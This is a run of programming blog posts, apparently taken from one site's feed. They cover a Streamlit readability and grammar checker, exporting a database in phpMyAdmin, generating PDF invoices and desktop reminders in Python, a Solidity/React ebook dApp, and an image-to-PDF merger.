You may want to check the documentation to know more about the imported libraries that help to extract the files.

The ‘Online’ Option

This option allows our users to check the readability of content found on web pages.

def get_url(): url = st.sidebar.text_input("Paste your url") if url: get_data(url)

As usual, when we select the option, it triggers the execution of the get_url() function.

The get_url() function uses st.sidebar.text_input to provide a small-size box where you can paste your URL. Once you hit the Enter key, it sends the URL to the get_data() function.

def get_data(url): page = requests.get(url) if page.status_code != 200: print('Error fetching page') exit() else: content = page.content soup = bs(content, 'html.parser') document_result(soup.get_text())

What the get_data() function is doing is web scraping.

It requests to get the content of the URL.

👉 Recommended Tutorial: How to Get the URL Content in Python

If it is successful, it returns the content of the web page. The function then calls the BeautifulSoup library to parse the content in pure HTML form.

Using the get_text() method from BeautifulSoup, the get_data() extracts the content without any HTML tags and sends it to the document_result() function which I have explained before.

The downside of using this option is that it scrapes whatever it sees on the webpage, navigation bar, header, footer, and comments that may not be relevant for readability checking

Grammar Checker

If you have been following along, you will notice, from the above image, another button besides the readability checker button.

That is our grammar checker button. Alright, let me show you how I did it.

I erased it from the Python scripts above, so we can focus on one thing at a time. The below script is now our updated test_result() function.

def text_result(): text = 'Your text goes here...' box = st.text_area('Text Field', text, height=200) left, right = st.columns([5, 1]) scan = left.button('Check Readability') grammar = right.button('Check Gramamar') # if button is pressed if scan: # display statistical results st.write('Text Statistics') st.write(readability_checker(box)) elif grammar: st.write(grammar_checker(box))

Streamlit’s columns() method enables us to display our buttons side by side.

By passing it a list of [5, 1], we specify the position we want the buttons to appear. Also, notice how we used left.button() instead of st.button(). This is because we want to apply the buttons to the position we have specified using the st.columns.

The if statement makes the app look flexible and neat. If we press the grammar checker button, it erases the readability result if it is already there, so it can display the grammar result.

Let us also update the document_result() function.

def document_result(file): box = st.text_area('Text Field', file, height=200) left, right = st.columns([3, .75]) with left: scan = st.button('Check Readability') with right: grammar = st.button('Check Gramamar') # if button is pressed if scan: # display statistical results st.write('Text Statistics') st.write(readability_checker(box)) elif grammar: st.write(grammar_checker(box))

Again, notice another way we use the st.columns to achieve the same result. The ‘with’ notation inserts any element in a specified position. Then comes the grammar_checker() function.

def grammar_checker(text): tool = language_tool_python.LanguageTool('en-US', config={'maxSpellingSuggestions': 1}) check = tool.check(text) result = [] for i in check: result.append(i) result.append(f'Error in text => {text[i.offset : i.offset + i.errorLength]}') result.append(f'Can be replaced with => {i.replacements}') result.append('--------------------------------------') return result

The LanguageTool() function checks grammatical expressions. It comes bundled in language_tool_python module but it’s also used in other programming languages.

To use it, make sure you have Java installed on your system. Once we call and save it in the tool variable, it will download everything necessary to enable your text checked for American English only. The size is 225MB excluding Java.

This is to enable you to use it offline. To use it online, please check the documentation. We added maxSpellingSuggestions to speed up the checking process, especially when dealing with millions of characters.

We appended to the ‘result’ variable to display it when called by the st.write() function. To know more about how to use the language_tool_python module, please consult the documentation.

Deployment

It would be nice to have our new app visible for others with little or no programming knowledge to see and use. Deploying the app makes that possible

If you want to deploy on Streamlit Cloud, it’s very easy. Set up a GitHub account if you have not already done so. Create and upload files to your GitHub repository.

Then, you set up a Streamlit Cloud account. Create a New App and link your GitHub account. Streamlit will do the rest.

Any changes made will reflect in the app. To avoid encountering errors while deploying your app, go to my GitHub page and observe other files I included to enable easy deployment on Streamlit Cloud.

Conclusion

This is how we come to the end of this tutorial on how I built a readability and grammar checker app using Streamlit.

I explained it in a way you can understand. You can visit my GitHub page to view the full project. Also, click this link to view my app live on Streamlit Cloud. Alright, that’s it. Go on, give it a try and create awesome apps.

References

Posted on Leave a comment

phpMyAdmin – How to Export a Database?

by Vincy. Last modified on January 16th, 2023.

Do you want to take a backup of your database? Are you a beginner at using the phpMyAdmin application?

This article will guide you with straightforward bullet points to achieve this.

The phpMyAdmin provides an “Export” operation to take a backup with a few clicks.

How to export databases and tables using phpMyAdmin?

  1. Log in to the phpMyAdmin interface.
  2. Choose the database from the left-side menu.
  3. Click the “Export” tab that exists below the phpMyAdmin header.
  4. Choose “Export Method” and “Format” of the exported to be in.
  5. Click “Go” to see or download the exported data.

Note:

phpmyadmin export database

Export methods allowed by phpMyAdmin

There are two export methods allowed by the phpMyAdmin interface.

  1. Quick – Minimal and quick option to export the database and it is the default option.
  2. Custom – This method allows more customization.

The “Quick” method exports the selected database or table structure and data entirely.

But, the “Custom” method provides more options. Some of them are listed below.

  • It allows selecting one are more tables from the list.
  • It allows exporting of either structure or data or both.
  • It provides the “Save-as” option to mention how to output the exported data. The phpMyAdmin can deliver the exported output in the below ways.
    • It will save it as a file if the user selects “Save output to a file”.
    • It will show as text on the interface if the user selects “View output as text”.

Export formats provided by phpMyAdmin

It supports numerous formats in which the output exported data. Some of them are listed below.

  • SQL (default option)
  • CSV
  • JSON
  • XML

Export a database to another database

To export a database to another database, we have to perform the phpMyAdmin “Import” after the “Export” action.

In a previous tutorial, we have seen how to import a database using phpMyAdmin.

↑ Back to Top

Share this page

Posted on Leave a comment

How I Generate Invoices For My Clients Using Python

Rate this post

Project Description

Being self-employed personnel means I regularly need to generate Invoices for my clients to receive the payments. Now, this is a manual task that I have to perform using excel sheets and then convert them into PDFs. That is why I came up with a script that would automate the entire task for me.

Thus, in this mini project, I will demonstrate how I generate PDF invoices that I send to my clients using a simple Python script that uses the InvoiceGenerator API.

Step 1: Installing and Importing the InvoiceGenerator Library

InvoiceGenerator is a Python library that is specifically designed to generate simple invoices. Presently, it supports invoice generation in PDF and XML formats. The PDF invoice generation is based on ReportLab.

Installation

To install the InvoiceGenerator library, open your terminal and run the following command –

pip install InvoiceGenerator

In case you want to upgrade to a new version, then use the --upgrade flag.

pip install InvoiceGenerator – upgrade

Read more about this library and how to use the API here.

Once you have installed the library, go ahead and import it into your script. You also need to import the os module along with the necessary modules within the InvoiceGenerator library. Here’s a quick look at the necessary modules that we will need in our code –

import os
from InvoiceGenerator.api import Invoice, Item, Client, Provider, Creator
from InvoiceGenerator.pdf import SimpleInvoice
  • Import Invoice, Item, Client, Provider and Creator from InvoiceGenerator.API.
  • Also, import SimpleInvoice from InvoiceGenerator.PDF.
  • Finally, import os for performing OS-related activities.

Step 2: Create the Automated PDF Invoice

The next step is to create an automated PDF using the InvoiceGenerator API.

Code:

os.environ["INVOICE_LANG"] = "en"
client = Client('Finxter')
provider = Provider('Shubham Sayon Consultancy Services', bank_account='XXX-XXXX-XXXXX', bank_code='2021')
creator = Creator('Shubham Sayon')
invoice = Invoice(client, provider, creator)
number_of_items = int(input("Enter the number of Items: "))
for i in range(number_of_items): units = int(input(f"Enter the number of units for item no.{i+1}: ")) price_per_unit = int(input(f"Enter the price per unit of item no.{i+1}: ")) description = input("Enter the name of item/product: ") invoice.add_item(Item(units, price_per_unit, description=description)) invoice.currency = "$"
invoice.number = "10393069"
document = SimpleInvoice(invoice)
document.gen("invoice.pdf", generate_qr_code=True)

Explanation:

  • We will first set the document environment language. In my case, I have set it to “English”.
  • We then need to set the mandatory details like the client, provider and creator. The client details can be set using the Client object. Similarly, to set the provider, use the Provider object. I have set the provider name and the bank details within the Provider object.
  • Next, create the invoice object that will allow us to generate the numerous features within the bill.
  • I have then used an input() function to allow the user to enter the total number of items he/she wants to include in the bill.
  • Once the user enters the number of items, this can be used a range of create a for loop within which we can ask the user to enter further details like the number of units for each item, the price per unit of each item and the description of each item.
  • All these details can then be implemented within the invoice PDF using the item.add_item() method.
  • You can further specify
    • The currency of transaction using invoice.currency,
    • The invoice number using invoice.number
  • Finally, generate the invoice PDF with the help of the SimpleInvoice objects gen method. To generate a QR code within the PDF use the generate_qr_code object.

Putting it All Together

Let’s put it all together to visualize how the entire script works –

import os
from InvoiceGenerator.api import Invoice, Item, Client, Provider, Creator
from InvoiceGenerator.pdf import SimpleInvoice os.environ["INVOICE_LANG"] = "en"
client = Client('Finxter')
provider = Provider('Shubham Sayon Consultancy Services', bank_account='XXX-XXXX-XXXXX', bank_code='2021')
creator = Creator('Shubham Sayon')
invoice = Invoice(client, provider, creator)
number_of_items = int(input("Enter the number of Items: "))
for i in range(number_of_items): units = int(input(f"Enter the number of units for item no.{i+1}: ")) price_per_unit = int(input(f"Enter the price per unit of item no.{i+1}: ")) description = input("Enter the name of item/product: ") invoice.add_item(Item(units, price_per_unit, description=description)) invoice.currency = "$"
invoice.number = "10393069"
document = SimpleInvoice(invoice)
document.gen("invoice.pdf", generate_qr_code=True)

That’s it! As simple as that and when you execute the code it will generate the invoice PDF within your project folder conataining all the details mentioned by you.

Conclusion

Hurrah! We have successfully created an automation script that allows us to generate our customized PDF that also has a QR code embedded within it. Isn’t this extremely handy and useful!?

With that, we come to the end of this project.  I hope this project added some value and helped you in your coding quest. Stay tuned and subscribe for more interesting projects and tutorials.

Do you love automating tasks with Python? Well! I do. And if you are someone who likes automation, then here’s a list of a few mini projects that will get you going –


Posted on Leave a comment

How I used Python to Automate my Daily Routine with Desktop Notifications

Rate this post

Project Description

Today while working on my Python code, I suddenly realized that it’s been two hours since I have been trying to solve the bug. I was constantly looking at the screen for two hours without even realizing to take a break or drink a glass drink water. That is when I thought of creating a script that would automate my daily routine with desktop notifications. I thought of creating a script that will generate a notification after certain time intervals for the following:

  • Drink 1 glass of water ( notify after every 1 hr)
  • Take a break from work (after every 1 hr )
  • Restart work ( after 10 mins of 2nd notification)
  • Medicine Notification at 10 PM every day
  • Take backup and end work ( at 8 PM ) every day

Therefore, in this project, we will be learning how to automate the daily routine using desktop popup notifications. So, without further delay, let’s dive into the steps to complete our project.

Step 1: Install and Import the Necessary Libraries

The two important libraries we need in this project are win10toast and schedule. The win10toast module is used to create the desktop notifications. It notifies us when any event occurs. Since it is not a built-in Python library, therefore you need to install it using PIP. Open your terminal and type the following command –

pip install win10toast

Once you have installed the win10toast module, go ahead and install the schedule library as follows:

pip install schedule

Schedule Library helps us to schedule a task at a particular time every day or even on a particular day. It matches our system’s time to the scheduled time set and then calls the command function. You will also need the help of the time module while scheduling the tasks. So, make sure that you also import the time module in your script.

import win10toast
import schedule import time 

Step 2: Creating Notifications

I used the ToastNotifier class from the win10toast module to create an object and the method show_toast to create a notification. The following code will generate a notification that will stay on the screen for 10 seconds.

noti = win10toast.ToastNotifier()
noti.show_toast("Demo", "You will get a notification", duration = 10)

Explanation: The first argument in the show_toast method is the header of the notification and the second argument is the message that you want to display within the notification window. The duration (mentioned in seconds) specifies how long the notification will remain on the desktop screen before disappearing. 

Step 3: Scheduling the Tasks

Code:

schedule.every().hour.do(water)
schedule.every().hour.do(take_break)
schedule.every(10).to(15).minutes.do(work)
schedule.every().day.at("22:00").do(medicine)
schedule.every().day.at("20:00").do(backup)
while True: schedule.run_pending() time.sleep(1)

Explanation: As we need to generate the notifications after certain time intervals we would use the schedule module that will schedule the tasks as per the given/required intervals. We will also use the sleep method from the time module, to let the next line of code execute after some time specified in seconds.

Step 4: Creating the Task Functions

Next, I created different functions that will perform different tasks when called. The function to remind me to:

  • Drink a glass of water every 1 hour is as follows:
def water(): noti.show_toast('Time to drink water!', duration= 10)
  • Take a break from work (after every 1 hr )
def take_break(): noti.show_toast('You have been working since one hour. Time to take a break', duration= 10)
  • Restart work ( after 10 mins of 2nd notification)
def work(): noti.show_toast('Restart your work', duration= 10)
  • Medicine Notification at 10 PM every day
def medicine(): noti.show_toast('Time to take the medicine', duration= 15)
  • Take backup and end work ( at 8 PM ) every day
def backup(): noti.show_toast('Take backup and end work', duration= 15)

Putting it All Together

Now let’s put it all together to visualize how the entire script works :

import win10toast
import schedule import time noti = win10toast.ToastNotifier() def water(): noti.show_toast('Time to drink water!', duration= 10) def take_break(): noti.show_toast('You have been working since one hour. Time to take a break', duration= 10) def work(): noti.show_toast('Restart your work', duration= 10) def medicine(): noti.show_toast('Time to take the medicine', duration= 15) def backup(): noti.show_toast('Take backup and end work', duration= 15) schedule.every().hour.do(water)
schedule.every().hour.do(take_break)
schedule.every(10).to(15).minutes.do(work)
schedule.every().day.at("22:00").do(medicine)
schedule.every().day.at("20:00").do(backup) while True: schedule.run_pending() time.sleep(1)

Conclusion

There we go! We have successfully created a wonderful automated script that will generate notifications for us, giving us prompts at certain intervals to organize our work and daily routine. I hope this project added some value and helped you in your coding quest. Stay tuned and subscribe for more interesting projects and tutorials.

Do you love automating tasks with Python? Well! I do. And if you are someone who likes automation then here’s a list of few mini projects that will get you going –


Posted on Leave a comment

Project – React dApp for Selling eBooks in a Decentralized Manner (1/4)

5/5 – (2 votes)

Welcome to another project of a decentralized dapp with React and ether.js.

YouTube Video

Project Scenario

We will build an ebook stall from which anyone can buy an ebook on a monthly subscription basis.

The buyer will submit his name, the book’s name, and the writer’s name at the time of buying the subscription. When he pays for the subscription, the subscription fee will be added to the bookstall owner’s account, and at the same time, the system will debit the transaction fee from the buyer’s account.

Apart from this, the details info of the buyer will be displayed on the user interface. The information includes the buyer’s name, wallet address, transaction time, book, and writer’s name.

Technology

We will use react.js and tailwind CSS in the frontend, Solidity for writing the smart contract, Ether.js for interacting with the smart contract, and the hardhat for smooth development.

Initiate Hardhat

Hardhat is arguably the best Ethereum development environment to compile your contracts and run them on a development network. To install the hardhat, open the vscode terminal and just type

npm install –save-dev hardhat

Hardhat will be installed on the directory. Now run hardhat.

npx hardhat

The command prompt will ask for creating a JavaScript project. Approve it. You need to install some dependencies to run the project. Copy this from the terminal and run. All the extra dependencies will be installed.

Create a new Solidity file inside the contract folder. “bookSell.sol“. We will be writing all the code here.

Build Solidity Smart Contract

I will create a simple and quick smart contract. This smart contract is basically for inputting the name, Book name, writer’s name, buyer address, the timing of issuing the order, etc.

pragma solidity >= 0.5.0 < 0.9.0;
contract BookSell{ address payable owner; constructor(){ owner = payable(msg.sender); } struct Receipt{ uint256 timestamp ; string name; address buyer; string book; string writer; } Receipt[] receipts; function buyBook(string memory name, string memory book, string memory writer) public payable{ require(msg.value>0,"Payment is not acceptable"); owner.transfer(msg.value); receipts.push(Receipt(block.timestamp, name, msg.sender,book, writer)); } function getReceipts() public view returns(Receipt[] memory) { return receipts; }
}

First, we need to confirm the address of the owner of the bookstall. This address will be payable cause it will receive the money of the buyers.

Create a constructor for the owner. “msg.sender” will be the owner in this case. msg.sender is normally the address that is used to deploy the contract. The person or the account that deploys the contract is normally the contract owner and will receive the transaction on his account.

Create a structReceipt” with three strings, that is,

  • name” for the buyer’s name,
  • book” for the book buyers want to buy, and
  • writer” for the writer of the book.

The timestamp would be an unsigned integer to note down the time and an address to collect the buyer’s account address.

To store the data of several buyers, I created a “receiptsarray. It is a dynamic array, which means whenever a new buyer inputs his information, the receipt will be added dynamically to the receipts array.

Create a function to buy the book. This buyBook function will take the information of the buyer as the parameters. The information includes the buyer’s name, book, and writer’s name. This function will also be payable cause we will use this to transfer money to the owner’s address.

Buyers must not pay zero eth as an amount. That’s why we added a condition with the “require” method. “msg.value” is the amount the buyer spends to buy the book.

owner.transfer(msg.value)” is used to transfer the fund to the stall owner’s account.

When the transaction is done, add the transaction receipt to the receipts array with the help of the push method. Since the receipts array is a struct type of array, you can input the required fields as the parameter of receipt.

To get the information from the receipts, we created a getReceipts() function. This returns the receipt of each buyer when we call the function.

Test the Smart Contract

Before deploying the contract, we need to check if all the functionalities of the smart contract are working properly or not. Hardhat has its own node and tools for checking the smart contract. We will first deploy our smart contract on the hardhat node to check its functionality and then deploy it to our testnet.

Move inside the deploy.js. We will create several functions here for different purposes.

We need to generate some accounts for the transaction. Inside the async main() function, generate account addresses with the help of the getSigners() method of ether.js. One account is for the contract owner, and the other three are for different buyers.

const [owner, buyer1, buyer2, buyer3] = await hre.ethers.getSigners();

Hardhat will generate four accounts with the help of ether modules. Each account will have 1000 eth by default. We can use that at the time of the transaction for testing purposes.

Create an addresses array to store all the addresses together.

const addresses = [ owner.address, buyer1.address, buyer2.address, buyer3.address, ];

Now to get the balances of those addresses, we will create obtainBalance() function outside the main function()

const obtainBalance = async (address) => { const balanceBigInt = await hre.ethers.provider.getBalance(address); return hre.ethers.utils.formatEther(balanceBigInt);
};

This obtainBalance() function will take an address from the addresses array, and it will use the getBalance() method of the ethers.provider to get the balance.

We will get the output as a Big Int object, and we need to convert it to get the actual number. The formatEther() method of the utils library converts the big int object into a readable format.

Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt

Now we will create another function to loop through the addresses, and it will also show the balances on the console.

const printBalances = async (addresses) => { let id = 0; for (const address of addresses) { console.log(`Account ${id} Balance:`, await obtainBalance(address)); id++; }
};

The “for” loop is used to loop through all the addresses of the array. While looping, the obtainBalance() function will get the balance from each account. An id variable is used to mark each account with a unique id.

Apart from that, we want to see the receipt for each buyer. Let’s create a printReceipt() function to get the receipt.

const printReceipts = async (receipts) => { for (const receipt of receipts) { const timestamp = receipt.timestamp; const name = receipt.name; const buyer = receipt.buyer; const book = receipt.book; const writer = receipt.writer; console.log( `Buyer Details: Name:${name},Book:${book},Writer:${writer},Address:${buyer},Time:${timestamp}` ); }
};

The printReceipts() function initiates a for loop that will loop through all the receipts of the receipts array. Then it will show all the buyer’s details from the receipt that will be called.

Now we need to call the receipts array from the smart contract. Otherwise, it won’t be possible to get data from the contract. Create an instance of the smart contract inside the main() function.

 const bookSell = await hre.ethers.getContractFactory("BookSell"); const contract = await bookSell.deploy(); //instance of the contract

With the first line of code, we called smart contract with the getContractFactory() method of the ethers library. Then we created an instance of the smart contract in the second line.

Now we can call the functions of the smart contract from here.

Let’s say we want to check the accounts’ balances first. Let’s console log the balance on the terminal with the help of printBalance() method that we created earlier.

 console.log("Initial Balance:"); printBalances(addresses);

Assume we want to send some balance to the owner’s address for buying books. Fix the amount we want to transfer

 const amount = { value: hre.ethers.utils.parseEther("1") }; await contract .connect(buyer1) .buyBook("Adam", "Miracle Morning", "Hal Elrod", amount); await contract .connect(buyer2) .buyBook("Mike", "The Slight Edge", "Jeff Olson", amount); await contract .connect(buyer3) .buyBook("Peter", "Loving what is", "Byron Katie", amount);

We fixed an amount, one eth, to transfer from all the buyer’s addresses. We used the parseEther() method of the utils library to fix the value.

In the next few lines, we called the contract and established a connection with the buyer’s address. We also called the buyBook method of the smart contract to buy the books.

Inside the buyBook function we passed the buyer address, the book name, the writer name, and the amount as the parameter. For simplicity, we are sending the same amount from all the buyer’s accounts.

To check the balances after buying the book, we will call the printBalance() method again. 

 console.log("Last Balance:"); await printBalances(addresses);

We forgot to call the receipts array from the smart contract. We will use the getReceipts() methods from the smart contract to get the receipts.

 const receipts = await contract.getReceipts(); printReceipts(receipts);
}

Now. Let’s deploy the contract on the hardhat and check how it works.

 await contract.deployed(); console.log("Contract Address:", contract.address);

I deployed the contract in the first line and then asked for the contract address.

Let’s move to the terminal and run the script.

npx hardhat run scripts/deploy.js

Don’t forget to mention the directory of the file on the code.

I got these results on my terminal after running the scripts. You can see from here that initially, the balances of all the accounts were 10000 eth. But after the transaction, more than one eth was deducted from each of the last three accounts.

It took more than one eth because of the transaction fee. At the same time, we can see the owner’s account (Account 0) is credited with exactly three eth.

In the last part, we also gathered all the info from the buyer’s receipt, including the time of the transaction and the address of the buyer.

Thanks for Reading ♥

That’s all for today. You have learned how to build and test a smart contract. In the next part, we will deploy the smart contract on a testnet.

GitHub: https://github.com/yassesh/bookSell

Posted on Leave a comment

Image to PDF Converter and PDF Merger | Python

Rate this post

Project Description

In my university days, I often came across scenarios where I needed to convert image files to PDF files and then merge all the PDF files together to submit my assignments. Now, you will find tons of online resources to convert images to PDFs and also merge PDFs. But the big question is – “Are they all safe?”

That is why I decided to take things into my hands and create a script that would not only convert my image files to PDFs but also merge those PDFs together. That is exactly what I will be demonstrating in this project.

So we will be performing a couple of tasks in this project –

  • Convert all the images to PDF files.
  • Merge all the converted PDF files into a single PDF file.

So, without further delay, let us dive into our project.

Step 1: Install and Import the Necessary Libraries

We will need to install a couple of libraries that will help us to complete our task. The first library is the PIL (Python Imaging Library) which is Python’s  de facto image processing package. To install it, open your terminal and type the following command:

pip install pillow

The next library that you need to install is known as PyPDF2. PyPDF2 is a free and open-source pure-python PDF library capable of splitting, merging, cropping, and transforming the pages of PDF files. It can also add custom data, viewing options, and passwords to PDF files. PyPDF2 can retrieve text and metadata from PDFs as well. To install it, open your terminal and type the following command:

pip install PyPDF2

Once you have installed the necessary libraries, go ahead and import them into your script. Note that you will also need to import the os module to open the required files from their respective paths.

Code:

import os
from PIL import Image
from PyPDF2 import PdfMerger

Step 2: Fetch the Path of the Source and Destination Directories

You need to fetch the path of the source folder where you have stored the images and also the path of the destination folder where you will save the PDF files.

Code:

img_dir = './image_files'
pdf_dir = './pdf_files'

In my case, I have created two different directories by the name ‘image_files‘ and ‘pdf_files‘ within my project folder and then stored them in two different variables which I will be using later on in my code.

Step 3: Converting Image to PDF

We are all set to create the image to PDF converter function that will convert an image into a PDF. The idea is to navigate the image folder with the help of the os.listdir method and grab all the image files within it. If an image file is located we open it up using the Image module of the PIL package.

You then have to specify the color profile of the PDF and you can mention that to be RGB. You can do this with the help of the convert function. Then you can directly save this converted RGB image to the destination folder in the PDF format using the save method. To save it as a PDF file you can pass the extension as .pdf as '{0}.pdf'.format(file.split('.')[-2]). That’s it. This should convert all the images in the images folder to individual PDF files.

Code:

def img_to_pdf_converter(): for file in os.listdir(img_dir): if file.split('.')[-1] in ('png', 'jpg', 'jpeg'): image = Image.open(os.path.join(img_dir, file)) coneverted_image = image.convert('RGB') coneverted_image.save(os.path.join(pdf_dir, '{0}.pdf'.format(file.split('.')[-2]))) print("PDF Created!")

Step 4: Merge the PDFs

Once you have all the PDF versions of the image files, you can then merge them using the PyPDF2 library. Go ahead and create an empty list that will store the names of all the PDFs that were created from the image files. Then create an instance of the PdfMerger class that resides with the PyPDF2 module.

Then navigate the PDF folder and fetch all the PDF files and merge them together using a for loop and within the for loop use the append method to merge them together. As simple as that!

Code:

def merger(): pdfs = [] merge = PdfMerger() for file in os.listdir(pdf_dir): pdfs.append(pdf_dir+"/"+file) for pdf in pdfs: merge.append(pdf) merge.write('merged_pdf.pdf') merge.close() print("PDFs Merged!")

Putting It All Together

We have successfully created both functions to convert images to PDFs and then merge them. All that remains to be done is to call these functions and your script should work like a charm. 😉

Finally, when you put everything together, this is how the complete script looks like –

import os
img_dir = './image_files'
pdf_dir = './pdf_files' def img_to_pdf_converter(): from PIL import Image for file in os.listdir(img_dir): if file.split('.')[-1] in ('png', 'jpg', 'jpeg'): image = Image.open(os.path.join(img_dir, file)) coneverted_image = image.convert('RGB') coneverted_image.save(os.path.join(pdf_dir, '{0}.pdf'.format(file.split('.')[-2]))) print("PDF Created!") def merger(): pdfs = [] from PyPDF2 import PdfMerger merge = PdfMerger() for file in os.listdir(pdf_dir): pdfs.append(pdf_dir+"/"+file) for pdf in pdfs: merge.append(pdf) merge.write('merged_pdf.pdf') merge.close() print("PDFs Merged!") img_to_pdf_converter()
merger()

Conclusion

Woohoo!!! We have successfully completed our fun project, and now we do not need the aid of any third-party application to convert our images to PDFs or merge our PDFs. I hope this project added some value and helped you in your coding quest. Stay tuned and subscribe for more interesting projects and tutorials.